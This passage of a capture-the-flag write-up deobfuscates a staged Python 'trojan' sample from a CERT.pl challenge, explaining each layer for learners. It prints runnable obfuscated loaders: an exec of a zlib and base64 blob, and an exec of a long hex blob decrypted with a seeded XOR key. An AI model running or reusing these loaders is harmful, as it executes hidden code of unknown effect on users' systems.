There’s a little CTF developed by CERT and p4 CTF team that I was cracking my brain at few days ago. I found it quite enjoyable so I’ve put a written solution for it.
The whole CTF is in Polish but the solution here will be provided in English.
Let’s begin.
We start at https://ecsm2016.cert.pl where we are informed that we should that we should investigate a malicious file that was found on one of the employees computer. We were given this file and SHA1.
suspicious (4.3 KB, SHA1: 81e553e35dcccaaef8d9f534dd03bd9ba6ed33e2)
After downloading we check that the file is correct
sha1sum suspicious
which gives us correct SHA1 sum
and running
file suspicious
gives
Ok, so the file is a compiled python. With the help of uncompyle I extract the source. [code] # 2016.10.29 17:58:07 CEST #Embedded file name: stage2/trojan/trojan.1.zip.packed.py import zlib, base64 exec( zlib.decompress(base64.b64decode(‘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’))) [/code]
quite an interesting file name. After replacing exec
with print
I can run this and extract another script
[code]
import random
N=chr
r=ord
B=zip
k=range
e=len
h=random.randint
V=random.seed
def X(a,b):
return ‘‘.join(N(r(ac)^r(bc))for ac,bc in B(a,b))
def p(seed,n):
V(seed)
for i in k(n):
yield N(h(0,255))
def G(data):
s=p(666,e(data));
S=X(s,data)
return S
exec(G(“"”1d8a1fefbdf9967daa508dc49f65847c981fe1f913d6e73e9735ac0f82e26ed3bb7379a732051f6a0cf38bf6e5c5a9be5f89987698d1a241c22919f11c25b617c90f4cdeebc1842011442cdea3c7f39fa19aa93fb84f185273752e256f6d44365d582a38fd408aa33c5b8d16a89799ceacdff02ff28777941c4318004b89af3e7f39d79e00b73d6a8f6b131cf52419498bf6cd731b8d2273fb0af455241ccbf6cd5b0508a9688285112d7a61d1eb602005f0655eb3b63f7f3f80c2b3ced8aa1c9b48b60e6886d7e504bfd3a2e62e44bf32d937c1beef96a8eb81746dea5f2c157b21e14acf82766f39dd61c724be70516915e1c0a4632d6cebeb03c554454be95cb3f42a526fefdbeb8bd2bd5927b935e9e593bab81e62fd781dd01b682b4dc8ca983262a85d642e084d584854aecdd37fbde881f9e372948b79085c5f8c637cc7a54b346ed75a51810ce68050677ea8bd93c75c6a4bedc23b711c7cdd6c791f0371ea6fbd9cd5bbee08ed5191469f543ec5269ef6987878fc84038f987286f075d8beee939968ce020d066ae814b47f153ba17250001803d843555e30d3f64a8bd8ad681b9b328051bc5fb1da60a152fa4d8e2a4ab37a6b542bce7719042468e36d66ae877185376cecf2e9d9ef05747029931c3e4cb0207e048c9f06fecdd977263460989db8c2b45f2a5e6945f68a1748f5550454e10bf67b4dfbffbd3a5dd84cced3b2882a6db5a2957436696d898a22d5dd2ae42cf22a9add97e70c43ffbffcbfe4086126df7f129d0eef311a3096e06825e1c820c4f61d511a02ebb1abdc38c2e72c72393dbf9e2213c8619f1a08d27e479190e8238593a704abfad3d9a6be6b2e3475271b430ddad8dc52dae3c5d9a43af7a9461ca394bf188f1ed7a06d10686eb2da42621a96e8585875d7e40e1b53da8b2bda50dd8272188b2be1ad1c62b2c8aba1fffeb93d5bb1f3dc8ab0191c03be8f8f091140434385649ead39bb79ddab9ebdb88bff3ff1aa681c5e15476eefe8fb9c721f86cc253fb2eb0ea9b5b6bccbb1c78df0fc065d891143566e3d2fd725e4705c142bd7e33fc4b9276c04b373b280db7be9d58970f7b45fbe086aed99943a5b5c3eb45a8d8a4169da76558f609446e2c1363d3f292318dc7dcb88f0a43514c975c9a39961cfc09cf3f52fc78a32465ee59e5e8de226d6680c8a3d6433ddb093489e00028a0324123251a3191c723a005c53955eefcec7f677a0db420335ca7a175ac0e0f104405808098d3f1c028847acb554ff39edaac4c8ba6a13aa04832befbfc719702d15b4f4b8a59ef623f21bc5e52ac7bd6a7993903337da1d270b603a8e54b60ad8b98168fdecece7fa65d984c1b4a19e374ec269ce0b945f7540abb6f9445eeeb9c89d56c82688f2d84ad8fa8666013ade66bd3627c9e4255fd10c607ff39d254cb3b9fc1bf04a44be005c82d44af60533c863bfecaebc077a1a38b2ef52a7adcb0118fb1233a945b5a6ff554b0c824e9d2657663d882d5edd4d136295a789bb8fc02e544db4b1617181f4632a14be668d04df41829413fb9aeb6d704c2b35be3d902937399a6eb1dabb8ff26c581ac9c024f7ee6f03052a0eb820559475261621cd48968bc6e5330f10df0c991547de8c80df3f954055d6d47c1b4100fefcb62294867799ea5d63d81f83b3bb422cc75788936606b05f2df70e5372400b64f28091a2adc8c189d84f67eca19534d82db76511ed515781b505f7e6d6442ea5b0d6d2ea30c4b328b066aa9e785749097a7c0c3ab47f01ab2bbad275e05ea3eee6d0b1d927b9f932acb4397db7c177ce1efb79f615676fb7158f7bcb188818439154007b69b8bd43da2ca50325f973de78298fdc54c302e0105a08d50c9dbf43a4d75820b946f5115cbe42a24d316db6de994ea8829b14667247373fbda9bd599c84934fe487274141845fe20339e3975257f9cd74a7754d688c905308478066e901199e68fc6edca1643cbb4b5570c932c5e6d46f9d3a8a437692d544602e9c09b54eff10b726c807f184bc31b727bab219a19b865d47f4b8df6ec4d59fb3f6558e5494e3a07f24de7b28aab74c913e09c9baa7676a2db7d8b61d56ea8a0c824932d691c4656dd4fc348eb2cc4ef187ce70c77e81827c97cdeff6c1968f5cf8b041d1b2d743f4cc8034d640e8180b08fad077baa2ada91f98de81ce957fb55437f47d800f966b80d7ed69a894055d5f0ebf378c55bad5f79eb7c96f98dd1257aae0eed6bf30f4734d567c557afea4948602d8d0193ea437db3356bbba3da5acae8de3ef6a1920f11ed1df8b393ea4a96f5e208c4675e8a8f907e19638d1245513c350114bda87367d62e3a4ca82e18d271d457718e34f711b4dec83590a7498d85d2d0f4b56690002aacd4ca3390285c6b4615148f83fdb4c132e2fe14756b6b00f72ac64156e9731cdecba1db2ad1f423d3314e597f60d522e684e9bbcf201868142f09b96a194ff551e2aec84b1a8621098925384b6e4f396d5d7c3584cfd42ed90e95c0fa46d476b1b6de5f5a57e265c37df6b8e216f09403d4561f6d420f53259d2ec326b9ffd32b4fb47b37d6a8fe2c646c5d2850790fdad69e15f82dcbfd06ae7aadbef0c549aa2d074f659be77f703cf1b41e49d65133e1f7b0bf20c14d4ae210dcab43cd482ceeeb7f204c1a57fa5698d18673569acd2b6fa657eb94f0c4e5fb32781b3a9edf2cc70d7270574f81579dcb91f553087a7e899b4c660122420c2d0e8203bd2ba0ad0575d2d92f3739be8235d9289824ee598db3e81af26432db9a1558d2e59570d888ed4a4619ab5346a236ad23a0916b40ab2091efc9700b9c4d9f7d813bb7f819f50fe76856e8202274edba3af5e11a7d006a4cbd48d1002d4e9c7eaf0fac1290f47d389ac95a35fb06d21ebdc08832c9d6b046999a59ac758620a318c06906c5dec3eb9728d77196e34df8e447b50e2ee702d6ce7bb515b1aececb187a738c59176e6c8de82099cce59ea91dc3a419b8bc7ac8fb537f3d7ae38f2ee8e3a89fa5e8ee2d307fe8d15e4729d265ecf629f0e84c5076edafbd09893d6bfd07daa1c6a2289decb8a52c9af90a9543d78464b2b1291480338641b9d693554e920825f4425852b0746da89c7196f1f983723268e530e781210f0338c4f5ccaf4ffb5c9f8bba45fe2c41d60cbf7e6003b50bfec30aa439afa2885cf869b0d0533c1ef842b098ed0485646941c068c8f7efc92615357a9031e3eec36d3b8da3d6e3be22b60c966f682310ff81f1a9238f4bdd0334cc4baf04e38b6ccfc7b4bfe2e3a261b74b1a21c5670051037c4d1d667aae337f804ed2ea88c387c22642c22910a44e588b2a474140612f2d4b303a0977949b7375f0b0ca2f4f1ee5d5119bf574dae324a092c2c79d9dcc1be8f89a74b889113a67b055e49e0ecbb2b4c81f2f8dcabdc4d9ecb144c3a21fa1d205b8a40c00c6f31f4ab896abe63503b7764cc838c3d8656fd18c3d2b9fcd7ada875764e06””“.decode(‘hex’)))
[/code]
We’ve got a bit more here to analyze. It starts with importing a random
package and substituting few functions with one-letter names - probably to make it harder to understand.
Next there’s a definition of function X(a,b)
that takes 2 params and returns string that is generated according to this:
zip
into tuples ac
and bc
from their permutationsord
(label r
) so we will get an ASCII value for a charxor
on themchr
(label N
)Now definition of p(seed, n)
seed
random.randint
and convert to char with car
And lastly G(data)
:
p
with params 666 and length of data
xor
on key and data passed in data
The main method of this script is this [code] exec(G(“"”1d8a1fefbdf9967daa508dc49f65847c981fe1f913d6e73e9735ac0f82e26ed3bb7379a732051f6a0cf38bf6e5c5a9be5f89987698d1a241c22919f11c25b617c90f4cdeebc1842011442cdea3c7f39fa19aa93fb84f185273752e256f6d44365d582a38fd408aa33c5b8d16a89799ceacdff02ff28777941c4318004b89af3e7f39d79e00b73d6a8f6b131cf52419498bf6cd731b8d2273fb0af455241ccbf6cd5b0508a9688285112d7a61d1eb602005f0655eb3b63f7f3f80c2b3ced8aa1c9b48b60e6886d7e504bfd3a2e62e44bf32d937c1beef96a8eb81746dea5f2c157b21e14acf82766f39dd61c724be70516915e1c0a4632d6cebeb03c554454be95cb3f42a526fefdbeb8bd2bd5927b935e9e593bab81e62fd781dd01b682b4dc8ca983262a85d642e084d584854aecdd37fbde881f9e372948b79085c5f8c637cc7a54b346ed75a51810ce68050677ea8bd93c75c6a4bedc23b711c7cdd6c791f0371ea6fbd9cd5bbee08ed5191469f543ec5269ef6987878fc84038f987286f075d8beee939968ce020d066ae814b47f153ba17250001803d843555e30d3f64a8bd8ad681b9b328051bc5fb1da60a152fa4d8e2a4ab37a6b542bce7719042468e36d66ae877185376cecf2e9d9ef05747029931c3e4cb0207e048c9f06fecdd977263460989db8c2b45f2a5e6945f68a1748f5550454e10bf67b4dfbffbd3a5dd84cced3b2882a6db5a2957436696d898a22d5dd2ae42cf22a9add97e70c43ffbffcbfe4086126df7f129d0eef311a3096e06825e1c820c4f61d511a02ebb1abdc38c2e72c72393dbf9e2213c8619f1a08d27e479190e8238593a704abfad3d9a6be6b2e3475271b430ddad8dc52dae3c5d9a43af7a9461ca394bf188f1ed7a06d10686eb2da42621a96e8585875d7e40e1b53da8b2bda50dd8272188b2be1ad1c62b2c8aba1fffeb93d5bb1f3dc8ab0191c03be8f8f091140434385649ead39bb79ddab9ebdb88bff3ff1aa681c5e15476eefe8fb9c721f86cc253fb2eb0ea9b5b6bccbb1c78df0fc065d891143566e3d2fd725e4705c142bd7e33fc4b9276c04b373b280db7be9d58970f7b45fbe086aed99943a5b5c3eb45a8d8a4169da76558f609446e2c1363d3f292318dc7dcb88f0a43514c975c9a39961cfc09cf3f52fc78a32465ee59e5e8de226d6680c8a3d6433ddb093489e00028a0324123251a3191c723a005c53955eefcec7f677a0db420335ca7a175ac0e0f104405808098d3f1c028847acb554ff39edaac4c8ba6a13aa04832befbfc719702d15b4f4b8a59ef623f21bc5e52ac7bd6a7993903337da1d270b603a8e54b60ad8b98168fdecece7fa65d984c1b4a19e374ec269ce0b945f7540abb6f9445eeeb9c89d56c82688f2d84ad8fa8666013ade66bd3627c9e4255fd10c607ff39d254cb3b9fc1bf04a44be005c82d44af60533c863bfecaebc077a1a38b2ef52a7adcb0118fb1233a945b5a6ff554b0c824e9d2657663d882d5edd4d136295a789bb8fc02e544db4b1617181f4632a14be668d04df41829413fb9aeb6d704c2b35be3d902937399a6eb1dabb8ff26c581ac9c024f7ee6f03052a0eb820559475261621cd48968bc6e5330f10df0c991547de8c80df3f954055d6d47c1b4100fefcb62294867799ea5d63d81f83b3bb422cc75788936606b05f2df70e5372400b64f28091a2adc8c189d84f67eca19534d82db76511ed515781b505f7e6d6442ea5b0d6d2ea30c4b328b066aa9e785749097a7c0c3ab47f01ab2bbad275e05ea3eee6d0b1d927b9f932acb4397db7c177ce1efb79f615676fb7158f7bcb188818439154007b69b8bd43da2ca50325f973de78298fdc54c302e0105a08d50c9dbf43a4d75820b946f5115cbe42a24d316db6de994ea8829b14667247373fbda9bd599c84934fe487274141845fe20339e3975257f9cd74a7754d688c905308478066e901199e68fc6edca1643cbb4b5570c932c5e6d46f9d3a8a437692d544602e9c09b54eff10b726c807f184bc31b727bab219a19b865d47f4b8df6ec4d59fb3f6558e5494e3a07f24de7b28aab74c913e09c9baa7676a2db7d8b61d56ea8a0c824932d691c4656dd4fc348eb2cc4ef187ce70c77e81827c97cdeff6c1968f5cf8b041d1b2d743f4cc8034d640e8180b08fad077baa2ada91f98de81ce957fb55437f47d800f966b80d7ed69a894055d5f0ebf378c55bad5f79eb7c96f98dd1257aae0eed6bf30f4734d567c557afea4948602d8d0193ea437db3356bbba3da5acae8de3ef6a1920f11ed1df8b393ea4a96f5e208c4675e8a8f907e19638d1245513c350114bda87367d62e3a4ca82e18d271d457718e34f711b4dec83590a7498d85d2d0f4b56690002aacd4ca3390285c6b4615148f83fdb4c132e2fe14756b6b00f72ac64156e9731cdecba1db2ad1f423d3314e597f60d522e684e9bbcf201868142f09b96a194ff551e2aec84b1a8621098925384b6e4f396d5d7c3584cfd42ed90e95c0fa46d476b1b6de5f5a57e265c37df6b8e216f09403d4561f6d420f53259d2ec326b9ffd32b4fb47b37d6a8fe2c646c5d2850790fdad69e15f82dcbfd06ae7aadbef0c549aa2d074f659be77f703cf1b41e49d65133e1f7b0bf20c14d4ae210dcab43cd482ceeeb7f204c1a57fa5698d18673569acd2b6fa657eb94f0c4e5fb32781b3a9edf2cc70d7270574f81579dcb91f553087a7e899b4c660122420c2d0e8203bd2ba0ad0575d2d92f3739be8235d9289824ee598db3e81af26432db9a1558d2e59570d888ed4a4619ab5346a236ad23a0916b40ab2091efc9700b9c4d9f7d813bb7f819f50fe76856e8202274edba3af5e11a7d006a4cbd48d1002d4e9c7eaf0fac1290f47d389ac95a35fb06d21ebdc08832c9d6b046999a59ac758620a318c06906c5dec3eb9728d77196e34df8e447b50e2ee702d6ce7bb515b1aececb187a738c59176e6c8de82099cce59ea91dc3a419b8bc7ac8fb537f3d7ae38f2ee8e3a89fa5e8ee2d307fe8d15e4729d265ecf629f0e84c5076edafbd09893d6bfd07daa1c6a2289decb8a52c9af90a9543d78464b2b1291480338641b9d693554e920825f4425852b0746da89c7196f1f983723268e530e781210f0338c4f5ccaf4ffb5c9f8bba45fe2c41d60cbf7e6003b50bfec30aa439afa2885cf869b0d0533c1ef842b098ed0485646941c068c8f7efc92615357a9031e3eec36d3b8da3d6e3be22b60c966f682310ff81f1a9238f4bdd0334cc4baf04e38b6ccfc7b4bfe2e3a261b74b1a21c5670051037c4d1d667aae337f804ed2ea88c387c22642c22910a44e588b2a474140612f2d4b303a0977949b7375f0b0ca2f4f1ee5d5119bf574dae324a092c2c79d9dcc1be8f89a74b889113a67b055e49e0ecbb2b4c81f2f8dcabdc4d9ecb144c3a21fa1d205b8a40c00c6f31f4ab896abe63503b7764cc838c3d8656fd18c3d2b9fcd7ada875764e06””“.decode(‘hex’))) [/code]
if we translate it to some meaningful names we get this [code] import random
def xor(a,b):
return ''.join(chr(ord(ac)^ord(bc))for ac,bc in zip(a,b))
def generate_key(seed,n):
random.seed(seed)
for i in range(n):
yield chr(random.randint(0,255))
def Decode(data):
key=generate_key(666,len(data));
decoded=xor(key,data)
return decoded
exec(Decode("""1d8a1fefbdf9967daa508dc49f65847c981fe1f913d6e73e9735ac0f82e26ed3bb7379a732051f6a0cf38bf6e5c5a9be5f89987698d1a241c22919f11c25b617c90f4cdeebc1842011442cdea3c7f39fa19aa93fb84f185273752e256f6d44365d582a38fd408aa33c5b8d16a89799ceacdff02ff28777941c4318004b89af3e7f39d79e00b73d6a8f6b131cf52419498bf6cd731b8d2273fb0af455241ccbf6cd5b0508a9688285112d7a61d1eb602005f0655eb3b63f7f3f80c2b3ced8aa1c9b48b60e6886d7e504bfd3a2e62e44bf32d937c1beef96a8eb81746dea5f2c157b21e14acf82766f39dd61c724be70516915e1c0a4632d6cebeb03c554454be95cb3f42a526fefdbeb8bd2bd5927b935e9e593bab81e62fd781dd01b682b4dc8ca983262a85d642e084d584854aecdd37fbde881f9e372948b79085c5f8c637cc7a54b346ed75a51810ce68050677ea8bd93c75c6a4bedc23b711c7cdd6c791f0371ea6fbd9cd5bbee08ed5191469f543ec5269ef6987878fc84038f987286f075d8beee939968ce020d066ae814b47f153ba17250001803d843555e30d3f64a8bd8ad681b9b328051bc5fb1da60a152fa4d8e2a4ab37a6b542bce7719042468e36d66ae877185376cecf2e9d9ef05747029931c3e4cb0207e048c9f06fecdd977263460989db8c2b45f2a5e6945f68a1748f5550454e10bf67b4dfbffbd3a5dd84cced3b2882a6db5a2957436696d898a22d5dd2ae42cf22a9add97e70c43ffbffcbfe4086126df7f129d0eef311a3096e06825e1c820c4f61d511a02ebb1abdc38c2e72c72393dbf9e2213c8619f1a08d27e479190e8238593a704abfad3d9a6be6b2e3475271b430ddad8dc52dae3c5d9a43af7a9461ca394bf188f1ed7a06d10686eb2da42621a96e8585875d7e40e1b53da8b2bda50dd8272188b2be1ad1c62b2c8aba1fffeb93d5bb1f3dc8ab0191c03be8f8f091140434385649ead39bb79ddab9ebdb88bff3ff1aa681c5e15476eefe8fb9c721f86cc253fb2eb0ea9b5b6bccbb1c78df0fc065d891143566e3d2fd725e4705c142bd7e33fc4b9276c04b373b280db7be9d58970f7b45fbe086aed99943a5b5c3eb45a8d8a4169da76558f609446e2c1363d3f292318dc7dcb88f0a43514c975c9a39961cfc09cf3f52fc78a32465ee59e5e8de226d6680c8a3d6433ddb093489e00028a0324123251a3191c723a005c53955eefcec7f677a0db420335ca7a175ac0e0f104405808098d3f1c028847acb554ff39edaac4c8ba6a13aa04832befbfc719702d15b4f4b8a59ef623f21bc5e52ac7bd6a7993903337da1d270b603a8e54b60ad8b98168fdecece7fa65d984c1b4a19e374ec269ce0b945f7540abb6f9445eeeb9c89d56c82688f2d84ad8fa8666013ade66bd3627c9e4255fd10c607ff39d254cb3b9fc1bf04a44be005c82d44af60533c863bfecaebc077a1a38b2ef52a7adcb0118fb1233a945b5a6ff554b0c824e9d2657663d882d5edd4d136295a789bb8fc02e544db4b1617181f4632a14be668d04df41829413fb9aeb6d704c2b35be3d902937399a6eb1dabb8ff26c581ac9c024f7ee6f03052a0eb820559475261621cd48968bc6e5330f10df0c991547de8c80df3f954055d6d47c1b4100fefcb62294867799ea5d63d81f83b3bb422cc75788936606b05f2df70e5372400b64f28091a2adc8c189d84f67eca19534d82db76511ed515781b505f7e6d6442ea5b0d6d2ea30c4b328b066aa9e785749097a7c0c3ab47f01ab2bbad275e05ea3eee6d0b1d927b9f932acb4397db7c177ce1efb79f615676fb7158f7bcb188818439154007b69b8bd43da2ca50325f973de78298fdc54c302e0105a08d50c9dbf43a4d75820b946f5115cbe42a24d316db6de994ea8829b14667247373fbda9bd599c84934fe487274141845fe20339e3975257f9cd74a7754d688c905308478066e901199e68fc6edca1643cbb4b5570c932c5e6d46f9d3a8a437692d544602e9c09b54eff10b726c807f184bc31b727bab219a19b865d47f4b8df6ec4d59fb3f6558e5494e3a07f24de7b28aab74c913e09c9baa7676a2db7d8b61d56ea8a0c824932d691c4656dd4fc348eb2cc4ef187ce70c77e81827c97cdeff6c1968f5cf8b041d1b2d743f4cc8034d640e8180b08fad077baa2ada91f98de81ce957fb55437f47d800f966b80d7ed69a894055d5f0ebf378c55bad5f79eb7c96f98dd1257aae0eed6bf30f4734d567c557afea4948602d8d0193ea437db3356bbba3da5acae8de3ef6a1920f11ed1df8b393ea4a96f5e208c4675e8a8f907e19638d1245513c350114bda87367d62e3a4ca82e18d271d457718e34f711b4dec83590a7498d85d2d0f4b56690002aacd4ca3390285c6b4615148f83fdb4c132e2fe14756b6b00f72ac64156e9731cdecba1db2ad1f423d3314e597f60d522e684e9bbcf201868142f09b96a194ff551e2aec84b1a8621098925384b6e4f396d5d7c3584cfd42ed90e95c0fa46d476b1b6de5f5a57e265c37df6b8e216f09403d4561f6d420f53259d2ec326b9ffd32b4fb47b37d6a8fe2c646c5d2850790fdad69e15f82dcbfd06ae7aadbef0c549aa2d074f659be77f703cf1b41e49d65133e1f7b0bf20c14d4ae210dcab43cd482ceeeb7f204c1a57fa5698d18673569acd2b6fa657eb94f0c4e5fb32781b3a9edf2cc70d7270574f81579dcb91f553087a7e899b4c660122420c2d0e8203bd2ba0ad0575d2d92f3739be8235d9289824ee598db3e81af26432db9a1558d2e59570d888ed4a4619ab5346a236ad23a0916b40ab2091efc9700b9c4d9f7d813bb7f819f50fe76856e8202274edba3af5e11a7d006a4cbd48d1002d4e9c7eaf0fac1290f47d389ac95a35fb06d21ebdc08832c9d6b046999a59ac758620a318c06906c5dec3eb9728d77196e34df8e447b50e2ee702d6ce7bb515b1aececb187a738c59176e6c8de82099cce59ea91dc3a419b8bc7ac8fb537f3d7ae38f2ee8e3a89fa5e8ee2d307fe8d15e4729d265ecf629f0e84c5076edafbd09893d6bfd07daa1c6a2289decb8a52c9af90a9543d78464b2b1291480338641b9d693554e920825f4425852b0746da89c7196f1f983723268e530e781210f0338c4f5ccaf4ffb5c9f8bba45fe2c41d60cbf7e6003b50bfec30aa439afa2885cf869b0d0533c1ef842b098ed0485646941c068c8f7efc92615357a9031e3eec36d3b8da3d6e3be22b60c966f682310ff81f1a9238f4bdd0334cc4baf04e38b6ccfc7b4bfe2e3a261b74b1a21c5670051037c4d1d667aae337f804ed2ea88c387c22642c22910a44e588b2a474140612f2d4b303a0977949b7375f0b0ca2f4f1ee5d5119bf574dae324a092c2c79d9dcc1be8f89a74b889113a67b055e49e0ecbb2b4c81f2f8dcabdc4d9ecb144c3a21fa1d205b8a40c00c6f31f4ab896abe63503b7764cc838c3d8656fd18c3d2b9fcd7ada875764e06""".decode('hex'))) [/code]
again with exec
changed to print
we can run it and obtain source code to the next level.
[code]
import bz2, base64
